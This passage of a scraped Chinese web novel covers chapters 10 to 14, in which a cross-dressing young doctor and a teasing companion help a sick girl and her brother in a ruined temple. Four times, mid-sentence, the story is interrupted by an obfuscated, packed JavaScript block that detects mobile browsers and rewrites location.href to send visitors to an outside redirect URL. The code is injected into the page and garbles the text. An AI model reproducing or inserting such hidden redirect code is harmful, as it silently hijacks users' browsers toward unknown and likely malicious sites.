在和薛荔衣错身而过的时候,薛荔衣握住了她的手腕:“干什么去。” 那温度并不高,是平常人身体的热度。 晏阿音却宛如被火烫了一般缩回手,退后一步道:“我出去洗漱,松开。” 说完,她便绕过他匆匆跨过门槛出去了。 薛荔衣转头,侧身靠在门框边,看向窗外的雨幕,一言不发。 原本瓢泼的大雨已经逐渐小了,只剩下有节奏的雨滴,敲打在瓦檐上,滴答,滴答。 夜色渐渐浓郁,依稀能看见浓重夜色下肆意摇晃的树影。 片刻后,薛荔衣没听见她回来的动静,瞥了半掩着的门一眼,打开门走了出去。 他缓缓穿过已经灭了灯的中屋,向外走去,脚步声不大,并不惊扰其他已经休息的人。 大门没关,隔着一段距离,薛荔衣看见门外两道身影。 他停住脚步,微微眯了下眼睛。 门外,屋檐还在滴水。 昏暗的屋檐底下—— 晏阿音和半夜溜出来吃饴糖的豆子直接打了个照面,一高一矮的身影相撞,都停住了。晏阿音放下绑头发的手,神情愣怔,豆子嘴巴嚼着东西,呆呆地看着她。 “你……” 晏阿音才说了一个字,豆子就急切道:“我没有偷吃糖!” “……” 不打自招。 察觉到自己说漏了嘴,豆子扁着嘴巴:“小哥哥,你不要告诉我娘。” 晏阿音摸摸脸:“我看起来是这么坏的人吗?” 豆子心花怒放,立即喜欢上这个清秀俊俏的“哥哥”,把晏阿音拉过来,朝里面望了眼,因为屋子里没有点灯,乌漆嘛黑的,门外更亮堂些,因此看向门内只能看到一片漆黑。 豆子小声问道:“小哥哥,你把那个大哥哥睡了没有?” 晏阿音立窘:“小孩子家家的脑子里都装的什么!” 小哥哥脸红了耶。 豆子眨巴眼睛:“你们不是一起睡觉吗?” 豆子认真想了想,恍然大悟:“哦,问错啦……我是想问,那个大哥哥睡了没有。” 薛荔衣? “他应该睡了吧。” 屋檐下挂着一盏昏暗的油灯,外壁已经被雨水打湿,里面的灯火散发着莹莹的光。 豆子仰着脑袋看她,片刻后眼巴巴地瞅着她:“小哥哥,我能不能摸摸你的脸?” 晏阿音无情否决:“不能。” 豆子始终还是个小孩子,撅起嘴巴。 晏阿音点点豆子的鼻子:“这么晚还吃糖,以后牙疼起来保管你在地上打滚,赶紧去洗漱。”她可记仇了。她可没忘记豆子不久前哄骗她开门再趁机把薛荔衣推进来的事情。 豆子可怜巴巴地撒娇。 晏阿音原本神色冷漠,可慢慢的,她看了豆子一眼,心软了,还是蹲了下来。 豆子咧嘴笑起来,伸出圆圆胖胖的小手,捏了捏她的脸。 “你跟邻居那个好说话的姐姐一样,脸都软软的。”豆子想了想,“你肯定是女孩子。” 晏阿音一惊,立即捂住豆子的嘴巴,压低声音。 “谁说我是女孩子?你再乱说,我就把你半夜偷吃糖的事情告诉你娘。” 豆子吓得眼睛溜圆。 晏阿音思衬片刻,问道:“豆子,我想问你一件事情,薛荔衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940456|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就是你说的那个大哥哥……” 豆子等半天没等到下半句,稚声稚气地追问:“你要问什么呀?” “他带我找到你们家的时候,是什么样子的?”她想知道薛荔衣说的是不是真的。 豆子年纪小,说话却很有条理,如实说了。 晏阿音愣住。 薛荔衣竟然当真冒雨找人救她……这是他能做出来的事情? 豆子见晏阿音发呆,不觉纳闷,可很快,他眼珠子动了下,看见门后黑暗中的人影,当即瞪起圆溜溜的眼睛,溜之大吉:“我要去洗脸睡觉了,晚安。” 说完,豆子撒腿跑没了影儿。 晏阿音依旧沉浸在自己的思绪中,慢慢站起来,沉思不语。 因为心里在想事情,所以直到转过身,才看见门后的薛荔衣。 她吓得魂魄出窍,瞬间往后退去。 她身后就是台阶,眼看着就要踩空,薛荔衣伸手,把她往回拉了一把,终于让她站稳了。 晏阿音看着他,没来由的一阵心虚。 “你什么时候出来的?” 薛荔衣随意道:“站很久了。” 晏阿音心乱如麻:“你都听到了?” “怎么,”薛荔衣看她,“有什么我不能听的吗?” 晏阿音佯装镇定,满不在乎地绕过他想走:“没什么,豆子年纪小,说的话当笑话听听就行了。” 在她走过薛荔衣身旁的时候,薛荔衣忽然发出一声清朗的笑,伸手握住她细小的手腕,稍微用力就把她拉了回来。 他似乎是刻意的,拎小鸡一样把她拎回来。将她推到旁边墙壁上,身影沉沉倾覆而下,把她面前唯一的一丝光亮都遮蔽住。 “晏阿音。” 薛荔衣低声道。 晏阿音背后一片冰凉,后腰硌着墙壁旁的柜子,凉意沁上来,她只觉得从尾椎骨一路麻到天灵盖,动不了了。 不对比不知道,原来薛荔衣比她高这么多啊。 薛荔衣的目光在她的脸上逡巡,把她僵硬的神情尽收眼底,眉毛微扬,似真似假地问:“豆子说你是女人……” 晏阿音呵呵干笑:“如果我说大安也是女人,你信吗?” 薛荔衣:“……” 晏阿音继续努力道:“我这人是长得秀气了些,矮了些,可你不能凭此判断我是女子。” 薛荔衣的五官很模糊。 因他逆着那盏昏暗的灯而站,只被照亮了背影。他漆黑深邃的眼眸没有一丝光亮,暗沉沉的,如同山林深处难以寻觅的潭水。发丝被细碎的风雨吹得微微摇晃。 “可晏阿音,我也觉得你像女人。” 11. 第 11 章 薛荔衣懒洋洋地歪了下头,视线描摹过她的眉眼,然后往下游移过她的鼻子和嘴巴。 再向下,是她的脖颈。 夜色里看什么都看不清楚,什么都是朦胧的黑影,给一切都拢上一层暧昧的光线。 原本晏阿音并不觉得薛荔衣此人需要提防,只觉得他不过是个吊儿郎当没个正经的富家公子哥,不足为惧。可到了此刻才发觉,他竟如此让人感到压迫。 他就这样压着她,将她压在墙边,而她就像只小鸡崽,撼动不了他分毫。 晏阿音的心如急促的鼓点,乱了章法。 她极力掩饰自己的紧张:“薛荔衣,你要是想找女人,我认识的姑娘很多,倒是可以给你介绍。” “还有,我再说一遍,我不是断袖。” 薛荔衣审视地看她:“真的?” 晏阿音道:“我发誓,若我方才有一句假话,我晏阿音孤独终……唔……” 她的嘴被薛荔衣捂住。 薛荔衣笑了声。 “倒也不必对自己这么狠。” 说完,松开了她。 原本沉沉压在面前的阴影终于离开,晏阿音轻松了口气,卸下防线:“做大夫的,当然要狠。” 薛荔衣半眯着眼眸看她。 兴许是十分喜欢看她窘迫,他再次又朝她逼近过来,欣赏着她被吓到的神情,指腹轻扫过她的脸,低声叫道:“晏大夫。” “……”那种诡异的感觉又窜了上来。 晏阿音瞪眼道:“放开,不然我给你下毒了。” 薛荔衣却似乎并不受她威胁。 他打量着她,很是遗憾:“如果你是女人……” 晏阿音听出他语气中的可惜,头皮发麻,从牙关逼出一句话:“薛荔衣,你不会真是断袖吧。” 她一直胸有成竹毫无顾忌,就是因为断定薛荔衣不会喜欢男人。 可万一薛荔衣真喜欢男人呢? “我不是断袖。” 他盯着她许久,笑容轻轻蔓延,染上风流写意的眉眼,半真半假道:“但是,也许可以有例外。” 晏阿音迎着他的目光。 “你……” 薛荔衣将她僵滞的模样尽收眼底,松开了她,胸膛震动轻笑一声,转身走远:“我说了你就信吗?晏大夫未免太单纯了。” 晏阿音反应过来自己被戏弄了,恼怒顷刻冲上心头:“你骗我?” 薛荔衣只笑,他舒展的眉眼望着漆黑的雨幕,不说话,浑身上下透着散漫不羁的风韵。 “我不喜欢说谎话。” “所以我希望,你也没对我说谎。” 晏阿音背后莫名窜上一丝凉意。 “你、你什么意思?” “晏阿音,若你敢骗我……” 晏阿音背后发毛:“你就怎样?” 薛荔衣没有回答,隔了很久,发出一声清淡的笑。 “你说呢?” 他问她? 可她如何知道。 晏阿音的心忽然抑制不住地狂跳了起来,开始惴惴不安。不知为何,她总觉得薛荔衣身上藏着太多秘密,并不像面上看起来这般随意。 他这句反问,可比那些直接放狠话的人要可怕的多。 若是叫他知道真相…… 以他捉摸不透的性格,不会把她往死里折腾吧。 晏阿音待不住了,努力说服自己,找个机会把这家伙踹了,之后大家各自安好天涯海角不相见就是,不用担心。 对。 不用担心。 “很晚了,睡觉吧,今天你也累了。晚安。”她掩饰地笑了下,转身离开。 薛荔衣看着那道步伐匆匆还差点被门槛绊了一跤的背影,微微眯起眸,眼中流露几分审视。 *** 晏阿音这一晚上都没睡好。因为身边多躺了个人,还是个男人。 好在薛荔衣并没有和她一张床,他打了地铺,席地而眠。 他睡相很好,至少比她好得多,闭上眼睛便安静睡去。 可是晏阿音却很不自在。她忐忑地攥着被子,度过了这辈子翻来覆去最难捱的一个晚上。 睁眼到天明时终于睡了一个时辰,晏阿音的烧退了,眼下却多了淡淡的青黑。 豆子看见她,瞪大眼睛,哇了一声,尾音拉的老长。 “你们是不是很晚才睡啊?” 一个萎靡不振,一个神清气爽,要多暧昧有多暧昧。 薛荔衣淡淡在桌边坐下,端碗喝茶:“小孩子不该问的别问。” 豆子老实点头道:“哦,不问。” 为了招待他们,妇人早起磨了豆浆,配着红豆包子一起吃。 吃早饭时,晏阿音却频频朝外看,心思不定。 豆子看出她的心不在焉:“怎么啦?” 晏阿音摇摇头,掰了块包子送进嘴里,问妇人:“大娘,您可知道这里离客云有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940457|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多远?” 不知道大安怎么样了。 妇人问道:“你们是客云人?” “嗯。” 妇人放下豆浆碗,瞪眼道:“这不巧了吗?我早上起来,听隔壁王大嫂说昨日大雨,顺金和客云那条河的水位涨了不少,还有一段堤坝都被冲垮了,官府正派人去重新筑堤呢。” 晏阿音愣住:“是度堰河吗?” “好像是叫这个名儿。”妇人点头。 “可有说出了什么事情?” “没出什么事,只堵了路,只不过你们若要回客云,这两日怕是没法子了。” 什么,回不去了? 妇人看出晏阿音的呆滞,笑笑道:“没事,二位公子在我们家住着就是。” “不用。”却是晏阿音先开口拒绝。 她的目光和薛荔衣对上,立即移开:“不好劳烦您。” 她才不要天天和薛荔衣睡一个屋子。 妇人正要开口,薛荔衣微笑接话:“是,我们今日就会离开,不叨扰您。” 既然客人都这么说,妇人也不好再劝,只是豆子十分依依不舍,撅着嘴,眼巴巴地看着他们。 薛荔衣道:“以后长大一些,来客云玩。” 豆子破涕为笑,咧着小嘴:“那我怎么找你们啊。” 薛荔衣:“一会儿吃完饭,我教你。” 豆子用力点头。 早饭过后,薛荔衣与晏阿音正准备离开,豆子拉住了薛荔衣的衣摆,小幅度扯了扯。 薛荔衣在他手心里写了三个字:“之后教你娘认这三个字,记住了没?” 豆子撅着嘴,点点头:“记住了。” “走了,有缘再见。” 豆子追到门边,看着那两道离开的身影,擦了擦红红的眼眶,吸吸鼻子。 晏阿音走几步就回头看一眼。 可旁边的薛荔衣却显得漠不关心,只走自己的路,从始至终没有回头。 直到他们走出很远,晏阿音终于忍不住道:“豆子舍不得你,你却一点反应都没有,薛荔衣,你的心是石头做的?” 薛荔衣瞥向远处隐在云雾里的重重青山:“有聚就有散,反正总得分别,有什么好伤心的。” 晏阿音忽然抬高音量:“没错!反正总得分别。” “我们也是。”她立即跑了出去,身影融入雾气迷蒙的草地中,笑着回身看他,“所以,咱们俩大路朝天各走一边,再见啦!” 12. 第 12 章 晏阿音快乐地准备溜之大吉。 薛荔衣并未阻拦。 他轻笑一声,声音传到她耳边:“你一个人,走不出这里。” 晏阿音本想掉头离开,听出他话中似有深意,愣愣转头。 “你说什么?” “这附近气氛古怪。” 晏阿音陡然僵住,朝附近看了看,身体倒是诚实,飞快奔回他身边:“大白天的,你别吓我。” “小大夫。”薛荔衣笑,“你经历少了。” 晏阿音看着东面那一排色调略显灰暗的房屋,忍不住悄悄攥紧了他的衣摆:“不会是闹鬼吧。” “应当是。”薛荔衣琢磨着点头,“过去看看。” 晏阿音呆住。 薛荔衣侧眸睨她,笑道:“怎么,你怕了?” 晏阿音有些磕绊:“没、没有。” “那走吧。” 晏阿音想再挣扎一下:“就不能不去吗?” 薛荔衣轻笑道:“我可是为了你。” 晏阿音纳闷:“什么意思?” “早上我出门在村里走了一圈,看见官府张榜贴出的告示,悬赏能够抓出鬼怪幕后黑手的人。”薛荔衣好整以暇道,“你不是想要银子吗?” 晏阿音的关注点却偏了:“……你早上什么时候出的门?” 她怎么不知道。 薛荔衣道:“你睡觉的时候。” 晏阿音看着不远处隐藏在林子后静谧到反常的一排屋子——最前面又是一座荒芜已久的破庙,这里荒郊野岭,偏僻异常,几乎无人靠近,她原以为薛荔衣是带着她漫无目的地走,没想到他早已安排好路线,将她带到这儿来。 晏阿音背后一凉,忽觉得这男人捉摸不透:“你故意把我领这儿来?” 薛荔衣懒懒道:“顺路罢了。要回客云,这里是最近的一条路。” “最近的路?”晏阿音一瞬哑口无言,“你怎么知道?” 明明她才是在客云住了十几年的人,她都没有搞清楚。薛荔衣不是客云人,为什么会知道那么清楚? 薛荔衣笑:“因为你笨。” “……” 他唇边勾着似有若无的弧度,也没再搭理她,便转身朝那阴气森森的地方走去了。 原以为身后的人不会跟上来,不曾想攥着他衣摆的那只手,始终没松开——某个人一直小心翼翼跟在他身后。 薛荔衣无声笑了下。 他们走进破庙的大门,这座庙宇比之前他们栖身的那座更大更宽敞。头顶的藻井深且高,花纹华丽繁复,遍布着蜘蛛网,佛台上铺满了厚厚一层灰尘,地上依稀能看出其他人的脚印,但都已经模糊不清,应该是之前有人来过。 只不过大抵都被吓跑了。 晏阿音的头发被突如其来的一阵大风吹得凌乱飞舞,她抬头,看着头顶肆意舞动宛如鬼影的黑布,欲哭无泪。 “我算是知道为什么会有这种悬赏,而且还没人能拿到了。” 谁会嫌命短啊。 正常人一进来看见这景象,吓都吓死了。 晏阿音正想着,觉得脚底下似乎踩到了什么。 薛荔衣垂眼瞥她一眼,提醒道:“你好像踩到人家的头了。” “……” “……” 晏阿音裂开了。 啊!!!!!! 晏阿音慌忙退后一步,对着那骷髅三鞠躬:“对不住对不住,不是故意对您不敬,对不住对不住对不住……” 薛荔衣在旁边睨着她,含着薄薄的笑:“我以为你会被吓跑。” 晏阿音道歉完,皱眉不悦地看了他一眼:“我是大夫!” “哦,”薛荔衣恍然大悟,“不好意思。晏大夫。” 破庙里的鬼见他们没有被吓退,似乎动了怒气。随后不知从哪儿传来了幽幽的哭泣,一声一声,寒意浸骨,辨别不出是男子还是女子。 薛荔衣扫视破庙内部一圈,在某一处定格片刻,随即,问她:“害怕吗?” 晏阿音不想被人看扁,她现在可是个男儿身:“不怕。” “行。”薛荔衣走过来,俯身在她耳边耳语了几句。 然而,在听完他的话之后,晏阿音的脸色唰的变了。 “什么!” 薛荔衣轻笑道:“你敢不敢?” “我……” “方才不是说不怕?晏大夫。” 晏阿音盯着那落满灰尘的佛台,鼓起勇气道:“我当然不怕了,小菜一碟。” 薛荔衣赞许地看她一眼,随即抛下了她,独自走出了破庙。 他的身影消失不见。 耳边那若即若离似远似近的低泣声开始变化,变成了怨恨的吟叫,最后化为一阵阵银铃般的笑声,晏阿音听得头皮发麻,但站了一会儿,只能按照薛荔衣嘱咐的话,慢慢朝佛台上走。 一步,两步,三步…… 就在她接近老旧的佛像之时,竟不知从哪儿疾速闪出一道人影,顷刻间,锁住了她的脖颈。 那人身形不高,与她差不多,可力道比她大了不止一倍,把她牢牢压制住。晏阿音压根没有反抗的力量,也来不及反抗。 她被勒住了脖颈,只能仰起头,却并未挣扎。那身影站在她身后,察觉她的柔顺,动作微微一停。 此时,薛荔衣的身影从佛台之后走出,步入二人的视野之中。 勒着晏阿音脖颈的少年反应过来,立刻调转方向退后几步,虎视眈眈地看着他。 薛荔衣微微眯眸:“把她放开。” “凭什么?”那声音粗噶,却又仿佛能听见少年郎的清润声线。 薛荔衣手里似乎牵着什么东西。他扯了下,松手一推,一个更小一些的身影便被推了出来,摔倒在地。 那是个女孩儿,面孔稚嫩,浑身上下脏兮兮的,似乎生病了。 再加上此时被捆起来,女孩儿难受地哭了,哽咽道: “哥哥……” 掐着晏阿音的正是个少年。与这小女孩长得很相似,但少年并没有小女孩养得那么好,右脸一道陈年伤疤,从鬓角延伸而下,即便愈合了也留下深深的痕迹。但能看出容貌原本十分清俊。 “凭什么?”薛荔衣微笑了下,“凭你妹妹,够了吗?” 晏阿音清晰地听见了少年因为愤怒而逐渐粗重的呼吸声。 但是,收紧在她脖颈上的力道,慢慢变轻了。 她原本高悬着的心终于落下。 原来这里闹的鬼,不是什么穷凶极恶的歹徒,而是一对兄妹。 这个少年有在乎的人,就有弱点。 他的弱点就是他的妹妹。 晏阿音呼吸着重新涌入的空气,低声道:“你妹妹病了。” 少年目光陡然刺向她,警惕下,竟是准备动真格杀她。 晏阿音道:“我是大夫,方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940458|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你应该也听见了,我能救你妹妹。” 少年被她如清水洗过般的明亮眼瞳看住,动作微迟疑,“为什么?” “因为我是大夫。” 晏阿音重复了一遍。 大夫对病人,不会置之不理。 少年原本的戒备逐渐减退了。许久,终于松开了对她的桎梏,把她往前推了一把,可一柄刀始终抵在她的后腰,少年语气不甚连贯:“救人,不然,杀了你。” “……” “这里什么都没有,怎么救?你至少先让我给你妹妹号一下脉,才能对症下药。” 少年思索了片刻,似乎觉得她说的有道理,刀柄一转,利刃入鞘。 晏阿音轻舒了口气,走到女孩儿身边,对薛荔衣道:“把她松开。” 薛荔衣盯着她,没动。 他以为她方才说要救人的话,只是为了让少年放松警惕,是权宜之计。 晏阿音也没等他动手,自己先蹲下身,把绑着的女孩儿松开,两指搭上她的手腕处。 “是受了寒后发烧了,和我昨日一样。” 少年立即道:“怎么办?” “你放心,你妹妹现在没什么大碍。”晏阿音环顾四周,“只是这里什么都没有,我治不了人。” 少年以为她此话是推诿,立刻皱眉,握紧了刀柄,下一刻却接触到薛荔衣淡淡的目光。 那是警告。 少年只好放下动手的念头。 这个男人状似随意,实则深不可测,他不敢贸然动手。 更何况妹妹在他们手里。 “你要怎样?”少年看向晏阿音。 晏阿音思索道:“若回我的医馆,我可以保证她会好,可是在这里,我没办法……” 少年打断了她的话:“你的医馆在哪里?” “……” “客云。” 少年立即拉起小女孩,看着晏阿音,固执道:“走。” 晏阿音十分无奈:“顺金和客云之间的河被大水淹了,暂时回不去。” 少年脸色难看。 晏阿音环顾四周:“没关系,这附近应该能找到些常见的草药,可以应急用。” 少年一动不动地盯着她。 晏阿音看向那女孩儿:“你妹妹叫什么名字?” “江粥。” “那你呢?” “江舟。” “……”这取名真省力气。 晏阿音抬起头,对上江舟的视线,疑惑道:“怎么了?” 江舟看着她,半晌后惊天一句: “我很少,看见女大夫。” 晏阿音僵硬了一瞬,觉察到身后一道同样落在她身上的目光,囫囵笑道:“你误会了,我是男子。” 江舟没有说话,依旧一声不吭地盯着她。 薛荔衣忽然觉得不大痛快,往前迈了一步,挡住他的目光,不冷不热道: “好看吗?喜欢看男人?我也是男人。” 江舟的视线被阻隔,抬头看向薛荔衣,眉头顷刻间紧紧皱起。 “你是她什么人?” 薛荔衣:“关你什么事。” 江舟看向晏阿音,视线都不移一下,自顾自道:“她留下,你走。” 薛荔衣危险地眯了眯眸,语气泛凉,“我是她相好的,我去哪她去哪。你确定要我带她一起走?” 晏阿音抬头:“……?” 13. 第 13 章 相好的? 晏阿音看着薛荔衣脸不红气不喘的模样,想一脚把他踹飞的欲望更强烈了。 她淡定地扯起微笑,对江舟说:“别理会他,他脑子有坑。” “真的?”江舟皱眉。 薛荔衣阴恻恻地看了过来。 晏阿音怕露陷,忙站起来一巴掌把薛荔衣推到自己身后,若无其事地看着少年。 “好了不说了,先救你妹妹吧。” 她的眼眸清亮如被晨雾浸润,虽努力掩饰着不安,但足够让人信服。 江舟定定地看着她,温顺了很多,道:“好。” *** 晏阿音就近采回草药,吩咐薛荔衣取来干净的水,用捡来的破瓦罐生火熬药。江粥喝了药后睡去了,江舟则在旁边守着妹妹。 做完这一切,晏阿音走出破庙,用水洼里的水洗干净手,终于舒了口气。 昨日刚下过雨,四野雾气浓重,枯井边的树枝缀着零星露珠。她呆呆地出了会儿神,身后,薛荔衣走了出来。 薛荔衣走到她身旁,眺望远处。 “你真打算救他们?” 这问的什么话。晏阿音道:“难道还有假的?” “你是要救了他们,再把他们送到官府去领赏钱?” 晏阿音瞪眼:“我是这种人吗?” “哦,原来不是?”薛荔衣笑看向她,“那你不要银子了?” 晏阿音神情一顿,低下头,略显几分苦恼,没多久幽幽道:“这种钱,不拿也行。”却又警惕抬头,“薛荔衣,你不会要一意孤行把他们扭送去官府吧?” “怎么可能。”薛荔衣伸手折了旁边一支斜生的枝叶,随口道,“你不是大哥吗?” 晏阿音没听懂:“什么意思?” 这和她是大哥有什么关系。 “做事情得听大哥的意思,大哥说怎么做就怎么做,你说是不是……大哥?” 晏阿音听出他话中的低沉揶揄,不由朝他看去,却对上他灼灼的目光—— 只见薛荔衣一双桃花眼满含笑意,正盯着她,整个人透出懒散不羁的风韵。 她心头似被一敲,仿佛湖面被投掷一颗小小石子,荡起一层层的涟漪。 他……他这话是什么意思。 他也和大安一样,认她做大哥? 晏阿音觉得脸颊有些发热,陡然扭过头,掩饰道:“我、我进去看看阿粥。”说罢便匆匆转身走进破庙。 薛荔衣目送她身影飞快消失,方笑了一声,眺望远方,随手将枝叶放进嘴里咀嚼起来。 *** 晏阿音原以为没有银子傍身,平日会处处掣肘捉襟见肘,可并没有。江舟有办法弄回食物,晏阿音问他,他不吭声,晏阿音追问到最后,江舟才低声说:是用力气换的。晏阿音听完觉得十分欣慰——孺子可教啊。 不光是江舟,薛荔衣居然也能弄回银子,可晏阿音不信这只狐狸,把他逮住追问银子来处,薛荔衣却只懒洋洋地笑,不说话。 附近能取到干净的水,能生火,有草药,有食物。 事情迎刃而解。 他们四个人各自干活,分工明确,竟也过起了正常的生活。 一晃三日而过,江粥的风寒慢慢痊愈了。 晏阿音在附近晃悠了一圈,发现顺金到客云河堤的水退了不少。再过一两日,应该能收拾收拾回客云了。 第四日早上,晏阿音端着熬好的药走进破庙,只见江粥躺在茅草铺成的床铺上,还在睡觉。 晏阿音轻手轻脚地过去,把药碗在旁边放下,正准备离开,一回头却发现江粥睁开了眼,圆圆的眼睛专注地看着她。 “呃,”晏阿音不大会和小姑娘相处,磕绊半天,露出个笑,“你醒了啊,药放这儿了,你记得吃。” 江粥看着她,终于说了这几天的第一句话:“你不要走。” 晏阿音才要迈出的脚步一顿,转头道:“啊?” 江粥有点不好意思,低下头:“哥哥坐。” “哦坐坐,行。”晏阿音反应慢了两拍,走回来在茅草床旁坐下。 一切似乎都凝固了,空气中飘散着尴尬的气息。 晏阿音绞尽脑汁没话找话问:“身体好多了吧?” “嗯。”江粥轻轻应了一声。 晏阿音没注意到她眼神闪躲,只见她脸上飘着淡淡的薄红,猜测这是气血恢复的表现,松了口气道:“好多了就行,今日这药喝完就不用喝了,反正药也不好喝,苦得很。” “不苦。”江粥忙摇脑袋,她为了表示自己没有说谎,立即探身过去,把药碗端过来,仰头喝完。 晏阿音:“……” 不是吧,这小姑娘生了个小病,把味觉都给生没了? 江粥迎着她直勾勾的视线,显出几分不好意思和赧然,低下头,小声道:“晏哥哥……” 晏阿音回过神,咳了一声:“不打扰你休息,我先出去了。” 可她才刚刚站起来,江粥就拉住了她的手。小巧的柔荑有些惴惴不安,晏阿音愣了一下,转回身:“怎么了?” 江粥抬眼看着她,“你能不能不走?” 晏阿音略显几分纠结:“可是……”她现在身份是男的,不好孤身和一个小姑娘待太久,固然她是大夫,但最好还是避嫌些好。 见她要走,江粥的眼眶竟然越来越红。 “你是害怕自己一个人待着?那我去叫你哥哥进来陪你吧,他方才就在外面砍柴。” 江粥却像拨浪鼓似的摇头,“不要。” 晏阿音更加迷惑不解。 到底是怎么了? 小姑娘眼圈红红的,可怜极了。 晏阿音思索,得出结论:“是身体又不舒服了?” 江粥低下头,脸更红了几分,“不是。”她的声音稚嫩清甜。 薛荔衣已经从破庙外走了进来,抱手靠在门边看着这一幕。 他也不知看了多久,低低笑了起来,打破了原本的平静:“晏哥哥……” 晏阿音抖落一身鸡皮疙瘩。 “薛荔衣,你发什么神经?”人家小姑娘这么叫也就算了,他上赶着凑什么热闹? 薛荔衣盯着她,挑眉道:“只许别人叫,不许我叫?” “……” 晏阿音木着脸。 这人又犯贱。 江粥自薛荔衣出现之后,似乎就更不好意思了,仿佛正和自己的情郎待在一块却被叫人撞了个正着。 晏阿音驱赶道:“出去出去,人家阿粥身体不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940459|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在养病,不能情绪波动。” 薛荔衣看了江粥一眼,若有所思。 “晏大夫,如果要人家小姑娘不波动情绪,最好还是你出去吧。” 晏阿音听得一头雾水,“你什么意思?” 江粥则是脸更红了,松开拉着晏阿音的手,扭捏地转过身背对着他们。 薛荔衣朝晏阿音招了招手。 晏阿音见江粥没再让她留下,便跟了出去。 跟上薛荔衣,她劈头就问:“你刚才那话什么意思?” 薛荔衣笑了一声,停下脚步,“这么简单的事情,你看不出来?” “我不懂,说人话。”晏阿音懒得废话。 薛荔衣笑眯眯地看向她,打量她许久,居然问道:“晏大夫,你说我和你比,差在哪里呢?” “什么?” “为什么人家小姑娘会喜欢你,却不喜欢我呢?” 晏阿音如被雷劈,看着近在咫尺放大了几倍的俊颜,道:“你说阿粥喜欢我?不可能,明明我是……” “你是什么?”薛荔衣笑道。 晏阿音察觉自己失言,含糊道:“我只是个普普通通的小大夫,她怎么会喜欢我。” “怎么不可能,”薛荔衣漫不经心道,“我看人从未失误过,方才那小姑娘看你的眼神,明摆着就是喜欢你,而且是喜欢得想要马上嫁给你。” “……” “……” 晏阿音裂开了。 薛荔衣的视线落在她脸上,略显出几分深暗来,片刻后朝她走近一步,若有所思道,“你说,我比你差在哪里呢?” “哎哎……保持距离,站住!” 晏阿音看他步步逼近,忽然慌了。 “我是个男人,薛荔衣,你说过你不好男色,离我这么近干什么。” 薛荔衣懒洋洋地弯了下眼睛,“其实将就将就,也不是不可以。” 晏阿音木着脸道,“你做梦去吧!” 此时薛荔衣将晏阿音逼到了角落,因他身量高大,落在旁人眼里,便是一副恃强凌弱要欺负晏阿音的模样。 不远处,江舟扛着柴禾回来,刚好看见这一幕。 江舟脸色陡沉,扔下手上东西冲了过来,闯入二人之间,警告地盯着薛荔衣道:“你,干什么?” 薛荔衣眯了眯眸,直起身体没有说话。 江舟仍是少年,身板瘦弱了些,如同初生的青竹,却仍坚韧冷漠地盯着薛荔衣。 晏阿音感动得快要热泪盈眶。 救人救得值啊。 江舟都懂得保护她了! 薛荔衣看着江舟身后的晏阿音,对江舟道:“我有话和她说,怎么了?” 江舟固执道:“你欺负她。” 晏阿音胸膛都挺得更直了。 瞧瞧,现在她有帮手了。 薛荔衣盯着晏阿音良久,转身走远,留下一声轻笑,“小人得志。” 晏阿音不屑,对着他的背影做了个鬼脸。 江舟转过身看她:“你,没事吧?” 晏阿音冲他笑:“没事。”说着好哥们似的拍了拍他的肩膀,“幸好有你在啊!”不然她都要被欺压坏了。 江舟被她一拍,神情竟有些不自然,耳根慢慢红了。 14. 第 14 章 顺金和客云那条河的堤坝补好时,江粥的病也养好了,嗯,可以回客云了。 晏阿音二话不说,收拾包裹出发。 薛荔衣看着她身后跟着的两个人,挑眉道:“离开的时候两个人,回去的时候四个人,你也挺有能耐。” 晏阿音瞪了他一眼,“不说话没人当你是哑巴。” 江粥跟在晏阿音身后,害怕地拉着她的衣摆,似乎如果不让她跟着她,马上就要哭了。晏阿音无比惆怅地瞅着自己快被拉变形的衣裳,觉得自己也有一点想哭。 薛荔衣嘲笑地看了晏阿音一眼,打头在前面走着。 两日后,他们一行人终于回到了客云的药馆。 